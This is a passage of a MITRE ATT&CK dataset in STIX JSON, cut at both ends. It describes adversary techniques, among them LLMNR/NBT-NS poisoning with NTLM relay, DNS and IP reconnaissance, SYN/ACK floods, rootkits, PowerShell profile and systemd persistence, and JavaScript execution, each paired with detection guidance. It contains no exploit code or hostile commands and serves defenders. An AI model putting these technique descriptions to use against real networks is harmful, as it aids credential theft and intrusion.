NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", "type": "attack-pattern", "created": "2020-10-02T15:59:11.695Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1590.005", "url": "https://attack.mitre.org/techniques/T1590/005"}, {"source_name": "WHOIS", "url": "https://www.whois.net/", "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."}, {"source_name": "DNS Dumpster", "url": "https://dnsdumpster.com/", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}, {"source_name": "Circl Passive DNS", "url": "https://www.circl.lu/services/passive-dns/", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:31:05.302Z", "name": "IP Addresses", "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:51.289Z", "name": "OS Exhaustion Flood", "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Sensor Health: Host Status"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7", "created": "2020-02-20T15:27:18.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1499/001", "external_id": "T1499.001"}, {"source_name": "Cisco DoSdetectNetflow", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"}, {"source_name": "Cloudflare SynFlood", "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.", "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"}, {"source_name": "Corero SYN-ACKflood", "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.", "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html"}, {"source_name": "Arbor AnnualDoSreport Jan 2018", "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2023-03-30T21:01:50.568Z", "name": "Rootkit", "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Drive: Drive Modification", "Firmware: Firmware Modification", "File: File Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "File Monitoring", "Host Intrusion Prevention Systems", "Application Control", "Signature-based Detection", "System Access Controls"], "type": "attack-pattern", "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "created": "2017-05-31T21:30:26.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1014", "external_id": "T1014"}, {"source_name": "CrowdStrike Linux Rootkit", "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"}, {"source_name": "BlackHat Mac OSX Rootkit", "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.", "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"}, {"source_name": "Symantec Windows Rootkits", "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"}, {"source_name": "Wikipedia Rootkit", "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.", "url": "https://en.wikipedia.org/wiki/Rootkit"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2023-10-20T17:04:13.976Z", "name": "PowerShell Profile", "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Allen DeRyke, ICE", "Matt Green, @mgreen27"], "x_mitre_deprecated": false, "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Modification", "Command: Command Execution", "Process: Process Creation", "File: File Creation"], "x_mitre_permissions_required": ["User", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "created": "2020-01-24T15:11:02.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/013", "external_id": "T1546.013"}, {"source_name": "Wits End and Shady PowerShell Profiles", "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.", "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"}, {"source_name": "ESET Turla PowerShell May 2019", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"}, {"source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}, {"source_name": "Microsoft About Profiles", "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"}, {"source_name": "Microsoft Profiles", "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.", "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Cody Thomas, SpecterOps"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "type": "attack-pattern", "created": "2020-06-23T19:12:24.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1059.007", "url": "https://attack.mitre.org/techniques/T1059/007"}, {"source_name": "NodeJS", "url": "https://nodejs.org/", "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020."}, {"source_name": "JScrip May 2018", "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript", "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020."}, {"source_name": "Microsoft JScript 2007", "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript", "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020."}, {"source_name": "Microsoft Windows Scripts", "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces", "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020."}, {"source_name": "Apple About Mac Scripting 2016", "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html", "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021."}, {"source_name": "SpecterOps JXA 2020", "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021."}, {"source_name": "SentinelOne macOS Red Team", "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."}, {"source_name": "Red Canary Silver Sparrow Feb2021", "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/", "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021."}, {"source_name": "MDSec macOS JXA and VSCode", "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/", "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021."}], "modified": "2021-08-16T21:02:05.142Z", "name": "JavaScript", "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Module: Module Load", "Process: Process Creation", "Script: Script Execution", "Command: Command Execution"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"]}, {"modified": "2022-10-21T14:32:48.393Z", "name": "DNS", "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"], "type": "attack-pattern", "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", "created": "2020-10-02T15:47:10.102Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1590/002", "external_id": "T1590.002"}, {"source_name": "Circl Passive DNS", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", "url": "https://www.circl.lu/services/passive-dns/"}, {"source_name": "DNS Dumpster", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", "url": "https://dnsdumpster.com/"}, {"source_name": "Sean Metcalf Twitter DNS Records", "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022.", "url": "https://twitter.com/PyroTek3/status/1126487227712921600/photo/1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Tony Lambert, Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", "type": "attack-pattern", "created": "2019-04-23T15:34:30.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1501", "url": "https://attack.mitre.org/techniques/T1501"}, {"source_name": "Linux man-pages: systemd January 2014", "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."}, {"source_name": "Freedesktop.org Linux systemd 29SEP2018", "url": "https://www.freedesktop.org/wiki/Software/systemd/", "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."}, {"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}, {"description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a", "source_name": "gist Arch package compromise 10JUL2018"}, {"description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/", "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"}, {"description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html", "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"}, {"source_name": "Rapid7 Service Persistence 22JUNE2016", "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence", "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."}], "modified": "2020-01-17T16:51:52.027Z", "name": "Systemd Service", "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -\u2013type=service \u2013all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["root", "User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Erika Noerenberg, @gutterchurl, Carbon Black", "Jimmy Astle, @AstleJimmy, Carbon Black"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", "type": "attack-pattern", "created": "2019-08-08T14:29:37.108Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1514", "url": "https://attack.mitre.org/techniques/T1514"}, {"source_name": "AppleDocs AuthorizationExecuteWithPrivileges", "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."}, {"source_name": "Death by 1000 installers; it's all broken!", "url": 